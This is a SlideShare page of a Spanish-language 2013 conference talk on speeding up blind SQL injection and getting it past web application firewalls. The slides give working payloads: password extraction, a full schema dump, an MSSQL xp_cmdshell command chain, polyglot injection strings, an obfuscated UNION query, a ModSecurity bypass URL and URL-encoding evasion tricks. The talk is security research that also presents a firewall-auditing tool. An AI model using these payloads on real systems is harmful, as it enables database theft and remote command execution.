Nuevas técnicas de optimización y ofuscación [GuadalajaraCON 2013]

3,013 views
2,889 views

Published on

http://www.guadalajaracon.org/conferencias/nuevas-tecnicas-de-optimizacion-y-ofuscacion/

En esta plática se demostrarán las técnicas más nuevas y avanzadas de optimización y ofuscación disponibles en el campo de inyecciones de SQL. Estas técnicas sirven para evadir la detección de firewalls y sistemas de prevención de intrusos y extraer información de la base de datos a una velocidad impresionante.

Se demostrarán estas técnicas siendo usadas en firewalls comerciales y open-source y también se presentará la versión ALPHA de Leapfrog. Leapfrog es una herramienta en desarrollo que tiene como funcionalidad ayudar a administradores de IT, expertos en firewalls, profesionales de seguridad y empresas a auditar las reglas de detección e implementación de su firewall y encontrar sus debilidades para poder entender si es una medida defensiva adecuada para detener un verdadero ataque.

Muchas de las técnicas que se demostrarán fueron creadas por el presentador y actualmente son de los métodos más rápidos para extraer información de una base de datos a través de una inyección SQL. Se explicará cómo reducir el tiempo que tomar explotar una inyección de SQL por un tercio del tiempo que tomaría normalmente.

0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
3,013
On SlideShare
0
From Embeds
0
Number of Embeds
1,769
Actions
Shares
0
Downloads
46
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide
  • Ok, no explicareestoahoraque me tomariatoda la conferenciaEstainyeccion de SQLisirve para confundir al adminLo puedecorrersi se atreveOfuscacionesuna de lasformas principals para evadir la deteccion de firewallsSi podemos esconder nuestro ataque y hacer que el firewall piense que es información valida, podemos evadir la detección del firewall y hacer que nuestro ataque pase sin ser bloqueado
  • Nuevas técnicas de optimización y ofuscación [GuadalajaraCON 2013]

    1. 1. ‘) UNION SELECT`Esta_Platica` AS (NuevasTécnicas de Optimización yOfuscación’)%00
    2. 2. Roberto Salgado• Co-fundador de Websec• Proporcionar soluciones de seguridad• Pen-testing, capacitación y monitoreo• Creador del base de conocimientos de SQLi• Pythonista / Investigador de seguridadContacto• rsalgado@websec.mx• http://www.websec.mx• http://www.twitter.com/@LightOS
    3. 3. IndicéOptimización• Reducir el numero de peticiones• Reducir el tamaño de las peticionesOfuscación• Retos de SQLi• Evadir Firewalls• Diversión con codificacionesLeapfrog• SQLi• LFI• XSS
    4. 4. Exploits de una mamaComo prevenir Inyecciones de SQL?http://www.bobby-tables.comhttp://xkcd.com/327/
    5. 5. OPTIMIZACION
    6. 6. • Por que nos importa?OPTIMIZACIONIntrohttp://xkcd.com/85/
    7. 7. Análisis de métodos• Bisección• Bitwise• Regex• Binario a posición (Bin2Pos)OPTIMIZACIONInyección de SQL a Ciegas
    8. 8. Recordatorio• Solo podemos obtener 1 carácter a la vez• Testeamos si tenemos el carácter correcto conrespuestas “True” o “False”Ejemplo• SELECT * FROM users WHERE id=1 AND 1=1• SELECT * FROM users WHERE id=1 AND 1=2OPTIMIZACIONInyección de SQL a Ciegas
    9. 9. OPTIMIZACIONTabla ASCII
    10. 10. OPTIMIZACIONTabla ASCIICada character ASCII puede ser representado con1 byte o 8 bitsCaracter aBinario (base 2) 01100001Octal (base 8) 141Decimal (base 10) 97Hexadecimal (base 16) 61
    11. 11. El octavo bit del carácter ASCII que nos interesasiempre será 0OPTIMIZACIONTabla ASCIIDecimal Hexadecimal Binario0 00 00000000127 7F 01111111255 FF 11111111El rango ASCII que nos interesaDecimal Hexadecimal Binario0 00 00000000127 7F 01111111
    12. 12. • Algoritmo de búsqueda binaria• ASCII rango 32 – 126• Se divide la mitad: (32 + 126) / 2 = 79• El valor es mayor o menor?• Se divide la mitad nuevamente y serepite el procesoOPTIMIZACIONMétodo Bisección
    13. 13. a = 97 decimalOPTIMIZACIONMétodo Bisección97 entre 79 y 126 True (32 + 126) / 2 = 7997 entre 79 y 103 True (79 + 126) / 2 = 102.597 entre 79 y 91 False (79 + 103) / 2 = 9197 entre 91 y 103 True (91 + 103) / 2 = 9797 entre 91 y 97 True (91 + 97) / 2 = 9597 entre 91 y 95 False (95 + 97) / 2 = 9697 entre 95 y 97 True 97 != 9697 == 97
    14. 14. • Cada carácter ASCII puede ser representadoen 1 byte o 8 bits• El octavo bit del rango ASCII de los caracteresque nos interesa siempre es 0• El numero de peticiones siempre será 7OPTIMIZACIONMétodos Bitwise
    15. 15. OPTIMIZACIONMétodos Bitwise01100001 >> 7 00000000 001100001 >> 6 00000001 101100001 >> 5 00000011 301100001 >> 4 00000110 601100001 >> 3 00001100 1201100001 >> 2 00011000 2401100001 >> 1 00110000 4801100001 >> 0 01100001 97"Faster Blind MySQL Injection Using Bit Shifting" -Por Jelmer de Hen
    16. 16. OPTIMIZACIONMétodos Bitwisea = 97 dec = 01100001(97 >> 7) = 0 1 o 0 1(97 >> 6) = 0 1 o 0 0(97 >> 5) = 2 010 o 011 0(97 >> 4) = 6 0110 o 0111 1"Faster Blind MySQL Injection Using Bit Shifting" -Por Jelmer de Hen
    17. 17. OPTIMIZACIONMétodos Bitwise"Faster Blind MySQL Injection Using Bit Shifting" -Por Jelmer de HenPros:• La cantidad de peticiones es consistenteContras:• Siempre usa 7 peticiones• Implementacion rara• No soporta hilos
    18. 18. OPTIMIZACIONMétodos Bitwisea = 97 dec = 01100001substr(bin(97>>7),-1,1) 1 o 0 0substr(bin(97>>6),-1,1) 1 o 0 1substr(bin(97>>5),-1,1) 1 o 0 1substr(bin(97>>4),-1,1) 1 o 0 0"Faster Blind MySQL Injection Using Bit Shifting" –Mi variacion
    19. 19. OPTIMIZACIONMétodos Bitwise"Faster Blind MySQL Injection Using Bit Shifting" –Mi variacionPros:• La cantidad de peticiones es consistente• HilosContras:• Siempre usa 7 peticiones
    20. 20. OPTIMIZACIONMétodos Bitwisea = 97 dec = 0110000197 & 1 0000000197 & 2 0000001097 & 4 0000010097 & 8 00001000"Bit ANDing" - Por Ruben Ventura
    21. 21. OPTIMIZACIONMétodos Bitwisea = 97 dec = 0110000197 & 1 00000001 197 & 2 0000001097 & 4 0000010097 & 8 00001000"Bit ANDing" - Por Ruben Ventura
    22. 22. OPTIMIZACIONMétodos Bitwisea = 97 dec = 0110000197 & 1 00000001 197 & 2 00000010 097 & 4 0000010097 & 8 00001000"Bit ANDing" - Por Ruben Ventura
    23. 23. OPTIMIZACIONMétodos Bitwisea = 97 dec = 0110000197 & 1 00000001 197 & 2 00000010 097 & 4 00000100 097 & 8 00001000"Bit ANDing" - Por Ruben Ventura
    24. 24. OPTIMIZACIONMétodos Bitwisea = 97 dec = 0110000197 & 1 00000001 197 & 2 00000010 097 & 4 00000100 097 & 8 00001000 0"Bit ANDing" - Por Ruben Ventura
    25. 25. "Bit ANDing" - Por Ruben VenturaOPTIMIZACIONMétodos BitwisePros:• La cantidad de peticiones es consistente• HilosContras:• Siempre usa 7 peticiones
    26. 26. OPTIMIZACIONMétodos Bitwisea = 97 dec = 01100001substr(bin(97),1,1) 1100001 1substr(bin(97),2,1) 1100001 1substr(bin(97),3,1) 1100001 0substr(bin(97),4,1) 1100001 0"Bit Substringing" - Por Keith Makan
    27. 27. "Bit Substringing" - Por Keith MakanOPTIMIZACIONMétodos BitwisePros:• La cantidad de peticiones es consistente• HilosContras:• Siempre usa 7 peticiones
    28. 28. ‚Regex method‛ - Por Simone R00T_ATIQuatrini y Marco white_sheep RondiniOPTIMIZACIONMétodo RegexREGEXP ^[a-z] TrueREGEXP ^[a-n] TrueREGEXP ^[a-g] FalseREGEXP ^[h-n] TrueREGEXP ^[h-l] False
    29. 29. ‚Regex method‛ - Por Simone R00T_ATIQuatrini y Marco white_sheep RondiniOPTIMIZACIONMétodo RegexPros:• No se tiene que convertir a decimalContras:• Requiere comillas
    30. 30. • Requiere una lista de los caracteres posibles(32 – 126 decimal)• Entre mas cerca este el carácter al inicio de lalista, menos cantidad de peticiones sonrequeridas• Podemos ordenar la lista de caracteres por lasletras mas frecuentes del idiomaOPTIMIZACIONMétodo Bin2Pos
    31. 31. • Relacionar el carácter con su posición en lalista• Convertir esta posición a binario• Hemos reducido la cantidad de caracteres abuscar a 2 (0 y 1)OPTIMIZACIONMétodo Bin2Pos
    32. 32. • Nuestra lista (sin mayúsculas)– abcdefghijklmnopqrstuvwxyz_0123456789,.<>/?;:"[{]}|=+-)(*&^%$#@!`~• Lista hexadecimal– 0123456789ABCDEF• La lista mas grande tiene 94 caracteres– BIN(1) = 1– BIN(94) = 1011110OPTIMIZACIONMétodo Bin2Pos
    33. 33. OPTIMIZACIONMétodo Bin2PosIF((@a:=MID(BIN(POSITION(MID((SELECT password from users whereid=2 LIMIT 1),1,1)INCHAR(48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70))),1,1))!=space(0),2-@a,0/0)
    34. 34. OPTIMIZACIONMétodo Bin2Pos• a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_,!,@,#,$,%,^,&,*,(,),-,+,=,,,.,",,~,`,,|,{,},[,],:,;, ,
    35. 35. OPTIMIZACIONMétodo Bin2Pos• “C” es la 3era posición en la lista, que equivale a 11 enbinario• El 11 tiene 6 ceros a su izquierda: 00000011• Nuestra petición empieza con el primer 1• Por lo mismo, el primer numero siempre será 1
    36. 36. OPTIMIZACIONMétodo Bin2PosObteniendo 11• Sabemos que el primer digito es 1• No requiere petición• El segundo digito es 1?• Si• El tercer digito es 1?• No, el tercer digito no existe• Numero total de peticiones para “C”: 2
    37. 37. OPTIMIZACIONMétodo Bin2PosPros:• Muy pocas peticiones• No es fácil de entenderContras:• Requieres 2 paginas diferentes• Entre mas grande la lista, mas peticiones sonrequeridas
    38. 38. OPTIMIZACIONComparación de Métodos
    39. 39. OPTIMIZACIONComparación de MétodosDEMO
    40. 40. OPTIMIZANDO CONSULTAS
    41. 41. Obtener todas las bases de datos, tablas ycolumnas con solo una peticiónOPTIMIZANDO CONSULTASMySQL
    42. 42. SELECT (@) FROM(SELECT(@:=0x00),(SELECT (@)FROM(information_schema.columns)WHERE (table_schema>=@) AND(@)IN (@:=CONCAT(@,0x0a, [,table_schema, ]>,table_name, >,column_name))))xOPTIMIZANDO CONSULTASMySQL
    43. 43. DemoOPTIMIZANDO CONSULTASMySQL - Demo
    44. 44. Una consulta para ejecución de código remota• Checa si xp_cmdshell esta cargado• Si esta cargado, checa si esta activo• Corre el comando dir y guarda el resultadoen la tabla TMP_DBOPTIMIZANDO CONSULTASMSSQL
    45. 45. IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERETABLE_NAME=TMP_DB) DROP TABLE TMP_DB DECLARE @avarchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHEREid = object_id (N[dbo].[xp_cmdshell]) AND OBJECTPROPERTY(id, NIsExtendedProc) = 1) BEGIN CREATE TABLE%23xp_cmdshell (name nvarchar(11), min int, max int,config_value int, run_value int) INSERT %23xp_cmdshellEXEC master..sp_configure xp_cmdshell IF EXISTS (SELECT* FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATETABLE %23Data (dir varchar(8000)) INSERT %23Data EXECmaster..xp_cmdshell dir SELECT @a= SELECT@a=Replace(@a%2B<br></font><fontcolor="black">%2Bdir,<dir>,</font><fontcolor="orange">) FROM %23Data WHERE dir>@a DROP TABLE%23Data END ELSE SELECT @a=xp_cmdshell not enabled DROPTABLE %23xp_cmdshell END ELSE SELECT @a=xp_cmdshell notfound SELECT @a AS tbl INTO TMP_DB--OPTIMIZANDO CONSULTASMSSQL
    46. 46. • Las pruebas pueden llegar a ser tedioso• Inyecciones de SQL pueden usar comillas,comillas dobles o no tener comillas• 400+ parámetros por modulo?!?!OPTIMIZANDO CONSULTASMas Consultas de 1 Línea
    47. 47. Mínimo 3 pruebas diferentes por parámetro:• OR 1=1• OR 1=1• OR “1”=“1OPTIMIZANDO CONSULTASMas Consultas de 1 Línea
    48. 48. Que tal si los fusionamos?OPTIMIZANDO CONSULTASMas Consultas de 1 Línea- OR 1#"OR"OR="="OR=
    49. 49. Que tal si los fusionamos?OPTIMIZANDO CONSULTASMas Consultas de 1 Línea- OR 1#"OR"OR="="OR=• Sin comillas
    50. 50. Que tal si los fusionamos?OPTIMIZANDO CONSULTASMas Consultas de 1 Línea- OR 1#"OR"OR="="OR=• Sin comillas• Doble comillas
    51. 51. Que tal si los fusionamos?OPTIMIZANDO CONSULTASMas Consultas de 1 Línea- OR 1#"OR"OR="="OR=• Sin comillas• Doble comillas• Comillas simples
    52. 52. Que tal AND?OPTIMIZANDO CONSULTASMas Consultas de 1 Línea- !=0--+"!="!=
    53. 53. Que tal AND?OPTIMIZANDO CONSULTASMas Consultas de 1 Línea- !=0--+"!="!=• Sin comillas
    54. 54. Que tal AND?OPTIMIZANDO CONSULTASMas Consultas de 1 Línea- !=0--+"!="!=• Sin comillas• Doble comillas
    55. 55. Que tal AND?OPTIMIZANDO CONSULTASMas Consultas de 1 Línea- !=0--+"!="!=• Sin comillas• Doble comillas• Comillas simples
    56. 56. OFUSCACION
    57. 57. OFUSCACIONQue es?
    58. 58. OFUSCACIONQue es?
    59. 59. OFUSCACIONComo Confundir al AdminUNION select@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO $ fRom(SeLEct@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOOfrOM`information_schema`.`triggers`)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO WHere !FAlSE||tRue&&FalSe||FalsE&&TrUE likeTruE||FalSEunion/*!98765select@000OO0O0OooOoO0OOoooOOoOooo0o0o:=grOup_cONcaT(`username`)``from(users)whErE(username)likeadminlimit 1*/select@000OO0O0OooOoO0OOoooO0oOooo0o0o limit 1,0 UnIONSeleCt(selEct(sELecT/*!67890sELect@000OO0O0O0oOoO0OOoooOOoOooo0o0o:=group_concat(`table_name`)FrOMinformation_schema.statistics WhERE TABLe_SCHEmAIn(database())*//*!@000OO0O0OooOoO0OOoooO0oOooo0o0o:=gROup_conCat(/*!taBLe_naME)*/fRoMinformation_schema.partitions where TABLe_SCHEma not in(concat((select insert(insert((select(collation_name)from(information_schema.collations)where(id)=true+true),true,floor(pi()),trim(version()from(@@version))),floor(pi()),ceil(pi()*pi()),space(0))), conv((125364/(true-!true))-42351,ceil(pi()*pi()),floor(pow(pi(),pi()))),mid(aes_decrypt(aes_encrypt(0x6175746F6D6174696F6E,0x4C696768744F53),0x4C696768744F53)FROM floor(version()) FOR ceil(version())),rpad(reverse(lpad(collation(user()),ceil(pi())--@@log_bin,0x00)),!!true,0x00),CHAR((ceil(pi())+!false)*ceil((pi()+ceil(pi()))*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--ceil(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--floor(pi()*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-floor(pi()))),0x6d7973716c))from(select--(select~0x7))0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO)from(select@/*!/*!$*/from(select+3.``)000oOOO0Oo0OOooOooOoO00Oooo0o0oO)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO/*!76799sElect@000OO0O0OooOoO00Oooo0OoOooo0o0o:=group_concat(`user`)``from`mysql.user`WHeRe(user)=0x726f6f74*/#(SeLECT@ uNioN sElEcT AlL group_concat(cOLumN_nAME,1,1)FroMInFoRMaTioN_ScHemA.COLUMNS where taBle_scHema not in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c)UNIONSELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNIONSELECT@000OO0O0OooOoO0OOoooO0oOooo0o0oOO UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO)
    60. 60. EVADIENDO FIREWALLS
    61. 61. EVADIENDO FIREWALLSTips Generales• Simple casi siempre es mejor• Lea la documentación para elcomportamiento inesperado y rarezas• Aprende de que es capaz el sistema de basede datos y lo que puede manejar
    62. 62. OFUSCACIONFuzzer Sencillo en PHP<?php$link = mysql_connect(localhost, root, );for($i=0; $i<=255; $i++) {$query = mysql_query("SELECT 1 FROM dual WHERE1" . chr($i) . "=1");if(!$query) {continue;}echo $i . :0x . dechex($i) . : . chr($i) .<br>;}?>
    63. 63. OFUSCACIONFuzzer Sencillo en PHP
    64. 64. OFUSCACIONEspacios ValidosSQLite3- 0A, 0D, 0C, 09, 20MySQL- 09, 0A, 0B, 0C, 0D, A0, 20MSSQL- 01, 02, 03, 04, 05, 06, 07, 08, 09,0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12,13, 14, 15, 16, 17, 18, 19, 1A, 1B,1C, 1D, 1E, 1F, 20, 25
    65. 65. EVADIENDO FIREWALLSTips Generales• No empieces con algo complicado y obvio• Mejor mantenlo simple– CASE WHEN TRUE THEN TRUE END- UNION SELECT GROUP_CONCAT(TABLE_NAME)FROM INFORMATION_SCHEMA.TABLES
    66. 66. EVADIENDO FIREWALLSTips Generales• No empieces con algo complicado y obvio• Mejor mantenlo simple– CASE WHEN TRUE THEN TRUE ELSE 1 END- UNION SELECT GROUP_CONCAT(TABLE_NAME)FROM INFORMATION_SCHEMA.TABLES
    67. 67. EVADIENDO FIREWALLSTips Generales• No empieces con algo complicado y obvio• Mejor mantenlo simple– CASE WHEN (SELECT TRUE) THEN TRUE ELSE 1END- UNION SELECT GROUP_CONCAT(TABLE_NAME)FROM INFORMATION_SCHEMA.TABLES
    68. 68. EVADIENDO FIREWALLSTips Generales• No empieces con algo complicado y obvio• Mejor mantenlo simple– CASE WHEN (SELECT TRUE FROM dual) THENTRUE ELSE 1 END- UNION SELECT GROUP_CONCAT(TABLE_NAME)FROM INFORMATION_SCHEMA.TABLES
    69. 69. EVADIENDO FIREWALLSTips Generales• No empieces con algo complicado y obvio• Mejor mantenlo simple– CASE WHEN (SELECT TRUE FROM dual) THENTRUE ELSE 1 END- UNION SELECT GROUP_CONCAT(TABLE_NAME)FROM INFORMATION_SCHEMA.TABLES
    70. 70. EVADIENDO FIREWALLSTips Generales• No empieces con algo complicado y obvio• Mejor mantenlo simple– CASE WHEN (SELECT TRUE FROM`dual`) THENTRUE ELSE 1 END- UNION SELECT GROUP_CONCAT(TABLE_NAME)FROM INFORMATION_SCHEMA.TABLES
    71. 71. EVADIENDO FIREWALLSTips Generales• No empieces con algo complicado y obvio• Mejor mantenlo simple– CASE WHEN (SELECT(TRUE)FROM`dual`) THENTRUE ELSE 1 END- UNION SELECT GROUP_CONCAT(TABLE_NAME)FROM INFORMATION_SCHEMA.TABLES
    72. 72. EVADIENDO FIREWALLSRetos de SQLiModsecurityhttp://www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=-2%20div%201%20union%20all%23in%0A%23between%20comments%0A23in%0A%23between%20comments%0A%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
    73. 73. EVADIENDO FIREWALLSCodificaciones• URL encode• Double URL encode• Unicode encode• Short UTF8• Long UTF8• First Nibble• Second Nibble• Double Nibble• Invalid Hex
    74. 74. EVADIENDO FIREWALLS – CodificacionesURL Encode• URL Encoding se usa para transformarcaracteres “especiales” para que se puedanmandar por HTTP• Los caracteres son transformados en suequivalente hexadecimal, con el % (signode porcentaje) de prefijo• a = %61
    75. 75. EVADIENDO FIREWALLS – CodificacionesDouble URL Encode• Double URL encode es el proceso de re-codificar el % (signo de porcentaje)• a = %61• %61 = %2561
    76. 76. EVADIENDO FIREWALLS – CodificacionesURL Encode / Firewalls DebilesDescripcion del tamper script“charencode” de SQLMAP que se usa paracodificar la peticion como URL encode:“Useful to bypass very weak web applicationfirewalls that do not url-decode the requestbefore processing it through their ruleset”
    77. 77. EVADIENDO FIREWALLS – CodificacionesURL Encode / Firewalls DebilesDemo
    78. 78. EVADIENDO FIREWALLS – CodificacionesNibble• Un nibble son 4 bits• Un nibble representa medio caracterhexadecimal (2^4 = 16)• Dos nibbles o un octet, representa uncaracter hexadecimal
    79. 79. EVADIENDO FIREWALLS – CodificacionesNibbleHex Decimal Octal Binary0 0 0 00001 1 1 00012 2 2 00103 3 3 00114 4 4 01005 5 5 01016 6 6 01107 7 7 01118 8 10 10009 9 11 1001A 10 12 1010B 11 13 1011C 12 14 1100D 13 15 1101E 14 16 1110F 15 17 1111
    80. 80. EVADIENDO FIREWALLS – CodificacionesFirst Nibble• Los primeros 4 bits son URL encoded• “a” = %61• 6 = %36• %%361
    81. 81. EVADIENDO FIREWALLS – CodificacionesSecond Nibble• Los segundos 4 bits son URL encoded• “a” = %61• 1 = %31• %6%31
    82. 82. EVADIENDO FIREWALLS – CodificacionesDouble Nibble• Es una combinacion de “first nibble” +“second nibble” encoding• “a” = %61• 6 = 36• 1 = %31• %%36%31
    83. 83. EVADIENDO FIREWALLS – CodificacionesHex Invalido• Se trata de crear hex invalido que resulta enel mismo valor decimal que hex valido• “a” = %61• %61 = 6 * 16 + 1 = 97• %2Ú = 2 * 16 + 65 = 97• %2Ú es lo mismo que %61
    84. 84. EVADIENDO FIREWALLS – CodificacionesInvalid HexDecimal Hex Valido Hex Invalido10 0A 0A11 0B 0B12 0C 0C13 0D 0D14 0E 0E15 0F 0F16 10 0G17 11 0H
    85. 85. RAREZAS DE PHP
    86. 86. RAREZAS DE PHPEspacios<?phpif(preg_match("/^.+$/", $_GET["t"])) {Bloque peticion maliciosa...}?>?t=1 AND 1=1 BLOQUEADO?t=1 AND 1=1%20?t=1 AND 1=1%A0?t=1 AND 1=1%0D,%0C,%0B?t=1 AND 1=1%0A%20BLOQUEADOBLOQUEADOBLOQUEADOPERMITIDO
    87. 87. RAREZAS DE PHPEspacios<?phpif(preg_match("/s+/", $_GET["t"])) {Bloque peticion maliciosa...}?>• En algunas configuraciones el NBSP esdetectado como un espacio, en otrasconfiguraciones no lo es
    88. 88. LEAPFROG
    89. 89. • Una herramienta diseñada para mejorar lasreglas del Firewall• Busca bypases para diferentes ataques web(SQLi, XSS, LFI, Filtros de contenido)• Crea todo sus vectores dinámicamente• Proporciona recomendaciones al encontrarun bypass• Genera una calificación basada en la cantidadde vectores permitidosLEAPFROGQue es?
    90. 90. • WAF Acceptance Factor es la calificación quegenera basado en los vectores permitidosLEAPFROGWAF Acceptance Factor
    91. 91. • Wife Acceptance Factor tomado de:http://en.wikipedia.org/wiki/Wife_acceptance_factorLEAPFROGWife Acceptance Factor
    92. 92. EL FIN
    93. 93. @LightOSrsalgado@websec.mxhttp://www.websec.mxEl FINInformacion de Contacto
    94. 94. www.WEBSEC.mx

    ×